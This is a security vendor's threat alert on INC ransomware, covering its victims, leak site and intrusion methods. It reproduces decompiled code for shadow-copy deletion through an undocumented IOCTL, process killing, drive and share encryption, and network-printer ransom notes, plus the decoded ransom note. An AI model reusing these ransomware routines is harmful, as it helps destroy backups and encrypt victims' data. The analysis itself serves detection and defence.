

Threat Alert: INC Ransomware

Author: Cybereason Security Research Team

Cybereason issues Threat Alerts to inform customers of emerging impacting threats, including new ransomware actors such as the emergent group INC Ransom. Cybereason Threat Alerts summarize these threats and provide practical recommendations for protecting against them.

KEY DETAILS

- Targets US & western countries: Similar to many other ransomware groups, INC Ransom's operators appear to mainly target the United States and European countries.
- Partial encryption: To accelerate encryption, INC ransomware employs partial encryption combined with a multi-threading approach.
- Sharing Lockbit blog design: The UI of LockBit's and INC's leak blogs carry some key similarities.

WHAT'S HAPPENING?

INC Ransom is a new ransomware group that emerged in August 2023, spreading ransomware with the same name. From the start of the operation till mid-September of the same year the group leaked the data of more than a dozen victims on their blog similarly to other groups of this type. The ransomware group exercises double and triple extortion on them.

The INC Ransom group was first observed by <u>security researchers</u> in early August 2023.

The group's victims are mostly businesses from the private sector and the victims list also includes a <u>government</u> organization and a charity association. All known victims are exclusively from Western countries with the majority of them from the United States and Europe (a single victim was from Singapore).





Segmentation Of Victims By Industry & Country Of Origin

Throughout the negotiation with the victims, the group publishes a "proof pack" consisting of several photos of private data (employer's ID, professional charts, etc.), and additional information to motivate their victims to pay. In one case, the actor accused one of the victims of money laundering, implying that the victim had money to pay the ransom of 160,000 USD. In another case, the threat actor threatened two of the victim's customers to carry out a supply chain attack in case the victim, an IT provider, didn't pay the ransom.

INC Ransom's leak blog, besides hosting the published leaks, has light and dark UI options, a feedback box, and a link to the group's Twitter account. The leaks blog user interface carries some similarities to LockBit 3.0's Ransomware leak blog; however, as opposed to LockBit, INC does not charge for the leaked data.



	DDATA VINITER	 How to buy bitcoin Affiliate rules 	> CONTACT US >
and the participant of the same	public public on	partition provides and	problem on the
2D 21h 57m 05s	1D 18h 01m 32s	1D 05h 17m 05s	1D 05h 00m 01s
		15 04b 27c 12c	10 2010 01m 466
PUBLISHED			
🕞 Updated: 23 Sep. 2023. 13:29 UTC 14719 🗿	🕞 Updated: 23 Sep. 2023. 13:27 UTC 754 🗿	🕞 Updated: 23 Sep, 2023, 13:27 UTC 2208 💽	🕞 Updated: 23 Sep. 2023, 13:28 UTC 2687 👁

LockBit 3.0's Leak Blog

INC RANSOM	Biog / Leak Leak			C
 Leaks Submit a feedback 	ANNOUNCEMENT	ANNOUNCEMENT		ANNOUNCEMENT
💓 Twitter				
	© 22.09.2023 151 O	€ 20.09.2023 557 ●	€ 20.09.2023 507 ⊙	© 20.092023 490 ⊙
	ANNOUNCEMENT	PUBLISHED	ANNOUNCEMENT	PUBLISHED
	They are laundering money for drug cartel and carit find a small amount to prevent data leak. Cost of their privacy is \$160.000, 600G8 of			
	© 18.09.2023 772 •	C 12.09.2023 1756 O	C 06.09.2023 2301 O	C 12.09.2023 2397 O
	PUBLISHED	PUBLISHED	PUBLISHED	PUBLISHED
			say hello martini you have very bad it specialists	ENUCY
	C 12.09.2023 2703 O	© 3108.2023 3157 •	© 19.08.2023 4661 •	© 0608.2023 4991 O

INC's Leak Blog

Meanwhile, the victims have a separate site where the negotiation with the group is done. The site requires them to open a user account with the user ID that has been communicated in the ransom note, and a password of their choice.



		🕅 💩 incpaysp74dphcbjyvg2eepxnl3tkgt5mq5vd4tnjusoissz342bdnad.onion/auth/sign-in
Submit feedback	×	
Name		
John Wick		
E-mail		🛱 Sign In
johnwick@the.best		
Your message		
Describe your situation		9F86D081884C7D65
		Password

		Sign In
Submit		Not registered yet? Create an account Password recovery

INC's Feedback Box

INC's Victim Sign In Page

When it comes to modus operandi, <u>INC cases</u> seem to be similar to other ransomware groups. The group uses compromised credentials to gain access to a victim environment and move laterally using RDP (Remote Desktop Protocol). When compromising new machines, another credential theft command occurs using the scripts. Eventually, the operators deploy the ransomware using WMIC and PSEXEC.

In order to exfiltrate data, the group was observed using the MegaSync tool, which has also been used by other ransomware group affiliates.



ANALYSIS

In this section, the Cybereason team describes the INC ransomware behavior based on a dynamic and static approach, mainly relying on reverse-engineering of the ransomware samples we obtained.

The ransomware's initial ability is dependent on the command-line arguments that the ransomware operator gives:

- -- file: Encrypt a given file
- -- dir: Encrypt a given directory
- -- sup: stands for "stop using process", killing a given process
- -- ens: encrypt network shares
- -- Ihd: load hidden drives
- -- debug: Print messages to the screen about the encryption process

Command-Line Arguments



After setting the parameters, the ransomware decrypts its ransom notes. It uses the function CryptStringToBinaryA two times to decrypt content stored in base64 which contains the ransom note.

<pre>pcbBinary = 0;</pre>
v0 = IstrlenA(
"SW5jLiBSYW5zb213YXJlDQoNCldlIGhhdmUgaGFja2VkIHlvd
jb21wYW55IGFuZCBpdHMgY2xpZW50cy4NCkl0IGNhbiBiZSBz
"B3aWxsIGJlIHJ1aW5lZC4gDQpEbyBub3QgaGVzaXRhdGUgYW5
"ToNCglodHRwOi8vaW5jcGF5c3A3NGRwaGNian12ZzJ1ZXB4bm
"IHBlcnNvbmFsIElEOg0KCUVEM0U3NzM0QjdCMjU1QkMNCgkNC
"zdGVtcyB3aXRoIG5vIGxvc3Nlcy4gRG8gbm90IHRyeSB0byBk
"N0YXJ0aW5nIGZvb20gbm93LCB5b3UgaGF2ZSA3MiBob3VvcvB
"GRhdGEgYmVpbmcgcHVibGlzaGVkIGluIG91ciBibG9nOg0KD0
"eXZpZnpwMnJvZWR5eXp6eGlkLm9uaW9uLw0KC00KWW91IHNob
"pcvBhIGJhc2liIGNvbmRpdGlvbiBvZiB0aGUgc3ViY2Vzcv4N
"RpYXRpb25zIHlvdSB3aWxsIGJ1IHBvb3ZpZGVkOg0KD0oJMS4
"TMuIEhvdvB0bvBzZWN1cmUgeW91ciBuZXR3b3JrOw0KCTOuIE
"LiBHdWFvYW50ZWVzIG5vdCB0bvBhdHRhY2sgeW91IGluIHRoZ
CryptStringToBinaryA(
"SW5jLiBSYW5zb213YXJlDQoNCldlIGhhdmUgaGFja2VkIHlvdSBhbm(
"YW55IGFuZCBpdHMgY2xpZW50cy4NCkl0IGNhbiBiZSBzcHJlYWQgb3
"IHJ1aW51ZC4gD0pEbyBub30gaGVzaXRhdGUgYW5kIHNhdmUgeW91ci
"aW5jcGF5c3A3NGRwaGNian12ZzJ1ZXB4bmwzdGtndDVtcTV2ZDR0bm
"CUVEM0U3NzM00idCMiU10kMNCgkNCldlJ3JlIHRoZSBvbmVzIHdobv
"cv4gRG8gbm90IHRveSB0bvBkZXZhbHVlIG91ciB0b29sIC0gbm90aG
"aGF2ZSA3MiBob3VvcvB0bvBib250YWN0IHVzIG1mIH1vdSBkb24ndCl
"ciBibG9nOg0KDOoJaHR0cDovL2luY2Jsb2c3dm11cTdva3RpYzczci
"WW91IHNob3VsZCBiZSBpbmZvcm1lZCwgaW4gb3VvIGJ1c2luZXNzIH
"cv4NCg0KSW5iTHBvb37p7GVzTGEg7GVhbC4g0W707XTgc3ViY2Vzc2
"RGVicn]wdG]vbiBhc3Nnc3RhbmN]Ow0KCTTuTE]uaXRnYWwgYWNi7XI
"bmNlTG9mTGRlbGV0aW9uTG9mTGludGVvbmEsTGRvY3Vt7W50czsNCg
v0.
14.
0.
&pcbBinary.
0.
0):
~/)

Ransomware Note Decryption Process

In each encrypted directory, the ransomware will drop two ransom notes, one as a *.txt* file and the other in *.html* format.



cybereason.com

Cybereason Threat Alerts

Recipe	a 🖿 i	Input + 🗅 🔁 🗎
From Hex Delimiter Auto	0 11	4451704562794275623351676147567A61585268644755675957356849484E6864605567655739316369426964584E706260567A6379344E43673048E 47786C59584E6C4C43426A6232353059574E304948567A6395546F4E43676C5F644852774F6938766157356A63474635633341334E47527761 4E69616E6C325A7A4A6C5A5842346260777A6447746E644455746354563258445230626079163323970663334E346407A51795905275595751756232: 706232347644516F4A4451705A623356794948426C636E4E7666260467349456C454F67308483555645403055334E7A4D30516A6443406A5531516840 4367684E436C646C4A34A34A6C4948526F5A5342766260567A494866462794266595734673388567659327473655342795A5744766460557949486C766
From Base64	0 11	58496763336C7A64475674637942336158526F494735764947787663334E6C6379346752473867626D393049485279655342306279426B5A585A68624 566C49473931636942306232397349433067626D393061476C755A7942336157787349474E7662575567623259676158517544516F4E436C4E3059584 306157356E49475A7962323067626D39334C43423562335567614746325A5341334D69426F62335679637942306279426A6232353059574E304948567
Alphabet A-Za-z0-9+/=	•	49476C6D49486C766453426B6232346E644342335957353049486C76645849676332567563326C3061585A6C4947526864474567596D5670626D6367(48566962476C7A6147566849476C7549473931636942696247396E4F67304844516F4A6148523063446F764C326C7559324A7362326333646D3131635
Remove non-alphabet ch	nars	647961335276597A637A6326526F595452714E7A553362544E7764486C74407A643965585A795A6E787A06E4A76545752356558703665476C684C601 75615739754C773048435130485757393149484E6F623356735A4342695A53427062605A766360316C5A437767615734676233567949474A3163326C 5A584E7A4948AA6C634856369558527062323457AC5342684947A46863322C6CA49474E7662605270664476C76626942765A694230461475557C 33566A5932567A6379344E436730485357356A4948427902335A705A47567A494745675A4756686243346751575A305A584967633356645932567A633 5A5162477767026056662335270659232457X49486C7664334233615778734947A4A4C4948427902335A705A4756684E7304844516F4A40533 675247566A636E6C7764476C7662094208633342F06333526862604E6C4F773048435449754945675155615852705957776759574665A582333677867539316369427756438233627364374273044834517596745653051575567504157526052004EF6C
		47396D4947526C62475630615739754947396D49476C7564475679626D467349475276593356745A573530637A734E436768314C6942486457467959 35385A57567A49473576644342306279426864485268593273676557393149476C754948526F5A53426D64585231636D557500
		Output
Decrypted ransom not	, ⊄>	<pre>Inc. Ransomware:s (* We have hacked you and downloaded all confidential data of your company and its clients.ce It can be spread out to people and media. Your reputation will be ruined. ce Do not hesitate and save your business.ce * Please, contact us via:ce http://incpaysp74dphcbjyvg2eepxnl3tkgt5mq5vd4tnjusoissz342bdnad.onion/ce * Your personal ID:ce * * We're the ones who can quickly recover your systems with no losses. Do not try to devalue our tool - nothing will come o it.ce * Starting from now, you have 72 hours to contact us if you don't want your sensitive data being published in our blog:ce ** ** ** ** ** ** ** ** ** ** ** ** **</pre>

Decrypted Ransomware Note



Command-Line Arguments

Load Hidden Drives

If the *lhd* (load hidden drives) parameter was set, the ransomware will check for any hidden drive (A-Z) to mount to encrypt it.

```
lpRootPathName[17] = L"K:\\";
lpRootPathName[18] = L"L:\\";
lpRootPathName[19] = L"Z:\\";
lpRootPathName[20] = L"X:\\";
lpRootPathName[21] = L"C:\\";
lpRootPathName[22] = L"V:\\";
lpRootPathName[23] = L"B:\\";
lpRootPathName[24] = L"N:\\";
lpRootPathName[25] = L"M:\\";
cchReturnLength = 0;
do
{
 v2 = lpRootPathName[v1];
 if ( GetDriveTypeW(v2) == 1 )
    lpszVolumeMountPoint[++v0] = v2;
  ++v1;
}
while (v1 < 26);
szVolumePathNames[0] = 0;
v3 = (WCHAR *)malloc(0x10000u);
v4 = v3;
if ( v3 )
{
 memset(v3, 0, 0x8000u);
 FirstVolumeW = FindFirstVolumeW(v4, 0x8000u);
 v5 = FirstVolumeW;
 do
  {
    if ( !v0 )
      break;
    if ( GetVolumePathNamesForVolumeNameW(v4, szVolumePathNames, 0x78u, &cchReturnLength)
      && lstrlenW(szVolumePathNames) == 3 )
    {
      szVolumePathNames[0] = 0;
    }
    else
      v6 = lpszVolumeMountPoint[v0--];
      if ( SetVolumeMountPointW(v6, v4) )
      ł
        if ( var_debug )
          e print sub 404800((int)L" [+] Mounted %s\n", v6);
      }
```

Hidden Drive Encryption Function



Encrypt Network Shares

Next, if the parameter ens (encrypt network shares) parameter was set, the ransomware will check if there are any other kinds of shared data storage to encrypt:

- DRIVE_FIXED external hard drives
- DRIVE_REMOVABLE USB sticks
- DRIVE_REMOTE shared network

```
for ( i = 'A'; i <= 0x5Au; ++i )</pre>
  v2 = malloc(0x1Cu);
  *v2 = 0;
  v2[2] = 0;
  *(v2 + 6) = 0;
  lstrcpyW(v2, L"\\\\?\\");
  v2[4] = i;
 lstrcpyW(v2 + 5, L":\\");
  RootPathName = i;
 v7 = 0;
 v6 = 6029370;
 result = GetDriveTypeW(&RootPathName);
 if ( result == DRIVE_REMOVABLE || result == DRIVE_FIXED || result == DRIVE_REMOTE )
  {
    if ( var_debug )
      e_print_sub_404800(L"[+] Found drive: %s\n", v2);
   e_delete_shadow_copies_sub_404C60(i);
   result = CreateThread(0, 0, e_core_thread_sub_404980, v2, 0, 0);
   hHandle[v0++] = result;
 }
}
```

Network Share Encryption Function

Stop Using Processes

If the argument –*sup* (stop using processes) is set, the ransomware will use the Microsoft Win32 application, Restart Manager, to kill any process that has a handle or accessing a resource that the ransomware wants to encrypt. This approach was also observed in other ransomware groups such as Lockbit, Babuk, and Royal.



```
v1 = LoadLibraryW;
v29 = this;
v33 = 0;
LibraryW = LoadLibraryW(L"Rstrtmgr.dll");
RmStartSession = GetProcAddress(LibraryW, "RmStartSession");
if ( !RmStartSession || RmStartSession(&v33, 0, v34) )
 return -1;
v4 = v33;
v5 = LoadLibraryW(L"Rstrtmgr.dll");
RmRegisterResources = GetProcAddress(v5, "RmRegisterResources");
if ( !RmRegisterResources || RmRegisterResources(v4, 1, &v29, 0, 0, 0, 0) )
 return -2;
v7 = v33;
v31 = 0;
v30 = 0;
v32 = 0;
v8 = LoadLibraryW(L"Rstrtmgr.dll");
RmGetList = GetProcAddress(v8, "RmGetList");
if ( RmGetList && RmGetList(v7, &v30, &v32, 0, &v31) == ERROR MORE_DATA && v30 )
{
                      .
          {
            v16 = *v14;
            if ( GetCurrentProcessId() != v16 )
            {
              v17 = OpenProcess(0x100001u, 0, v16);
              v18 = v17;
              if ( v17 != -1 )
              Ł
                TerminateProcess(v17, 0);
                WaitForSingleObject(v18, 0x1388u);
                CloseHandle(v18);
```

Stop Using Processes Function



cybereason.com

Deleting Shadow Copies

After all the preparations are set, the ransomware will continue to delete the volume shadow copy backups from the victim's machine. It will use the API DeviceIoControl with the dwIoControlCode parameter set to *0x53C028*. This code is translated to an undocumented IOCTL "*IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE*" which resizes the allocated space for shadow copies snapshots and causes the deletion of them.

```
result = CreateFileW(FileName, 0x12019Fu, 3u, 0, 3u, 0x80u, 0);
v3 = result;
if ( result == -1 )
ł
  if ( var_debug )
    LastError = GetLastError();
    return e_print_sub_404800(L"[-] Couldn't delete shadow copies from %c:/ Error: %d\n", a1, LastError);
  }
}
else
{
  if ( DeviceIoControl(result, 0x53C028u, InBuffer, 0x18u, 0, 0, &BytesReturned, 0) )
    if ( var_debug )
      e_print_sub_404800(L"[+] Successfully delete shadow copies from %c:/ \n", a1);
  else if ( var_debug )
    v5 = GetLastError();
    e_print_sub_404800(L"[-] Couldn't delete shadow copies from %c:/ Error: %d\n", a1, v5);
  3
  return CloseHandle(v3);
}
```

Volume Shadow Copy Deletion Function



cybereason.com

Exclusions

Before encrypting, INC will inspect the file and exclude it from encryption if it has one of the following extensions:

- .msi
- .exe
- .dll
- .inc

```
if ( lstrcmpiW(v5, L".exe") )
{
 if ( lstrcmpiW(v5, L".msi") && lstrcmpiW(v5, L".dll") && lstrcmpiW(v5, L".inc") )
  {
   if ( !wcsstr(FindFileData.cFileName, L"INC") )
    {
      v6 = malloc(0x8000u);
     lstrcpyW(v6, this);
     lstrcatW(v6, FindFileData.cFileName);
     do
       Sleep(1u);
     while ( InterlockedExchangeAdd(&Addend, 0) > 200 );
     if ( var_debug )
       e print sub 404800(L"[+] Encrypting: %s\n", v6);
     CreateThread(0, 0, e_thread_encryption_sub_00404960, v6, 0, 0);
   }
```

File Encryption Exclusions

In addition to extensions, it will exclude the directories that contain the following string in their names:

- Windows
- Program files
- Program files (x86)
- \$RECYCLE.BIN
- appdata
- INC



```
if ( lstrcmpiW(FindFileData.cFileName, L".")
    && lstrcmpiW(FindFileData.cFileName, L"..")
    && lstrcmpiW(FindFileData.cFileName, L"program files")
    && lstrcmpiW(FindFileData.cFileName, L"program files (x86)")
    && lstrcmpiW(FindFileData.cFileName, L"$RECYCLE.BIN")
    && lstrcmpiW(FindFileData.cFileName, L"appdata") )
    {
        v3 = malloc(0x8000u);
        lstrcatW(v3, this);
        lstrcatW(v3, FindFileData.cFileName);
        lstrcatW(v3, L"\\");
        e_w_encryption_sub_4049A0(v3);
        j___free_base(v3);
    }
}
```

File Directory Exclusions

Physically Printing The Ransom Note

INC ransomware actively seeks out available printers in the network and sends the command to print the ransom note.

INC verifies the presence of the specific drivers, Microsoft Print to PDF or Microsoft XPS Document Writer, on the targeted host system. It then tries to print the ransom note through the printer connected to it. This approach not only adds an extra layer of intimidation to its victims but also serves as a visual reminder of the intrusion.

```
lpString = var_ransom_note_2;
if ( var_debug )
 sub_405BD0("[+] Start sending note to printers...\n");
pcbNeeded = 0;
pcReturned = 0;
EnumPrintersW(2u, 0, 2u, 0, 0, &pcbNeeded, &pcReturned);
v0 = malloc(pcbNeeded);
result = EnumPrintersW(2u, 0, 2u, v0, pcbNeeded, &pcbNeeded, &pcReturned);
if ( var_debug )
 result = sub_405BD0("[+] Count of printers: %d\n");
v4 = 0;
if ( pcReturned )
{
 v2 = (v0 + 4);
 do
  {
    if ( !lstrcmpiW(*v2, L"Microsoft Print to PDF") || !lstrcmpiW(*v2, L"Microsoft XPS Document Writer") )
     goto LABEL_28;
   if ( var_debug )
      e_print_sub_404800(L"[+] Trying to open printer: %s...\n", *v2);
   if ( !OpenPrinterW(*v2, &phPrinter, 0) )
     goto LABEL_28;
    *pDocInfo = L"My Document";
    v7 = 0;
   v8 = L"RAW";
    if ( StartDocPrinterW(phPrinter, 1u, pDocInfo) )
    {
     if ( !StartPagePrinter(phPrinter) )
       goto LABEL_17;
      e_print_sub_404800(L"[+] Sending note to printer: %s...\n", *v2);
      v3 = lstrlenA(lpString);
      if ( !WritePrinter(phPrinter, lpString, v3, &pcWritten) )
```

Ransomware Note Print Function



Changing The Wallpaper

Another notable capability of INC ransomware is the ability to change the host background wallpaper image. At the end of the attack, INC changes the background wallpaper and displays the ransom note on the screen using the "Fixedsys" font.



Ransomware Notification



Ransomware Background Display Modification Function



Encryption Process

INC uses multi-threading to speed up the encryption process. The number of threads will be the number of processors multiplied by 4. In addition, to synchronize the threads, INC will choose to use Completion Ports.

According to <u>MSDN</u>, "I/O completion ports provide an efficient threading model for processing multiple asynchronous I/O requests on a multiprocessor system".



Ransomware Multi-Threading Support

Another approach to speeding up the encryption is partial encryption, INC implements its partial encryption in the following manner:

- If the file is smaller than 1 MB:
 - The entire file will be encrypted
- If the file is larger than 1 MB but smaller than 3MB:
 - 1 MB will be encrypted
 - The rest will not be encrypted
- If the file is larger than 3MB:
 - Encryption intervals of encrypting 1MB and not encrypting 2MB





Ransomware Partial Encryption Schema

The intervals of encryption can also be seen clearly in the process monitor.



incr.exe	3576 💽 CreateFile	C:\target\INC-README.html	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Create, O
incr.exe	3576 💽 WriteFile	C:\target\INC-README.html	SUCCESS	Offset: 0, Length: 1,611, Priority: Normal
incr.exe	3576 💽 Create File	C:\target\INC-README.txt	SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Create, O
incr.exe	3576 💽 WriteFile	C:\target\INC-README.txt	SUCCESS	Offset: 0, Length: 1,044, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 0, Length: 16, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 0, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 3,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 6,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 9,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 12,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 15,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖹 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 18,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 21,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖹 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 24,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🕒 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 27,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖳 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 30,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖳 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 33,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖳 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 36,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖹 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 39,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 💽 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 42,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖹 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: 45,000,000, Length: 1,000,000, Priority: Normal
incr.exe	3576 🖳 WriteFile	C:\target\encryptme.txt	SUCCESS	Offset: -1, Length: 35, Priority: Normal
■-'incr.exe	3576 🖹 SetRenameInfo	C:\target\encryptme.txt	SUCCESS	ReplacelfExists: True, FileName: C:\target\encryptme.txt.INC

Process Monitor Output During Partial Encryption



DETECTION AND PREVENTION

Cybereason Defense Platform

The <u>Cybereason Defense Platform</u> is able to detect and prevent INC ransomware infections using multi-layer malware protection that leverages threat intelligence, machine learning, anti-ransomware, next-gen antivirus (NGAV), and <u>Variant Payload</u> <u>Prevention</u> capabilities.



The Cybereason Defense Platform Detects & Prevents INC-related MalOp

CYBEREASON RECOMMENDATIONS

The Cybereason GSOC & Security Research teams recommend the following actions in the Cybereason Defense Platform:

- Enable Application Control to block the execution of malicious files.
- Enable Anti-Ransomware in your environment's policies, set the <u>Anti-Ransomware</u> mode to Prevent, and enable Shadow Copy detection to ensure maximum protection against ransomware.
- Enable Variant Payload Prevention with prevent mode on Cybereason Behavioral execution prevention.



- To hunt proactively, use the Investigation screen in the Cybereason Defense Platform and the queries in the Hunting Queries section to search for machines that are potentially infected with INC Ransomware.
 - Based on the search results, take further remediation actions, such as isolating the infected machines and deleting the payload file.

MITRE ATT&CK MAPPING

Tactic	Technique or Sub-technique
<u>TA0005</u> : Discovery	<u>T1083</u> : File and Directory Discovery
<u>TA0007</u> : Discovery	T1016: System Network Configuration Discovery
<u>TA0007</u> : Discovery	T1046: Network Service Discovery
<u>TA0007</u> : Discovery	<u>T1057</u> : Process Discovery
TA0007: Discovery	T1082: System Information Discovery
<u>TA0007</u> : Discovery	<u>T1135</u> : Network Share Discovery
<u>TA0040</u> : Impact	<u>T1486</u> : Data Encrypted for Impact
<u>TA0040</u> : Impact	<u>T1489</u> : Service Stop
<u>TA0040</u> : Impact	<u>T1490</u> : Inhibit System Recovery
TA0002: Execution	T1059: Command and Scripting Interpreter

Indicators	Indicator type	Descriptio n
fcefe50ed02c8d315272a94f860451bfd3d86fa6ffac215e69dfa26a7a 5deced	SHA256	INC Ransomwar e Binary



About the Authors

Marina Popelov, Security Analyst, Security Research Team



Marina is a security and threat intelligence analyst at Cybereason. She began her career in the Israeli Defence Forces (IDF) as an open source intelligence analyst (OSInt) analyst and today specializes in web and dark web intelligence.

Eli Salem, Security & Malware Researcher, Security Research Team



Eli is a Security and malware reverse engineer at Cybereason. He has worked in the private sector of the cybersecurity industry since 2017. In his free time, he publishes articles about malware research and threat hunting.

Alon Laufer, Security Researcher, Security Research Team



Alon Laufer is a Security Researcher at the Cybereason Security Research Team. He began his career in the Israeli Air Force where he was responsible for protecting critical infrastructure. Alon is interested in malware analysis, digital forensics, and incident response.

Mark Tsipershtein, Security Researcher Security Research Team



Mark Tsipershtein, a cyber security analyst at the Cybereason Security Research Team, focuses on analysis automation and infrastructure. Mark has more than 20 years of experience in SQA, automation, and security testing.

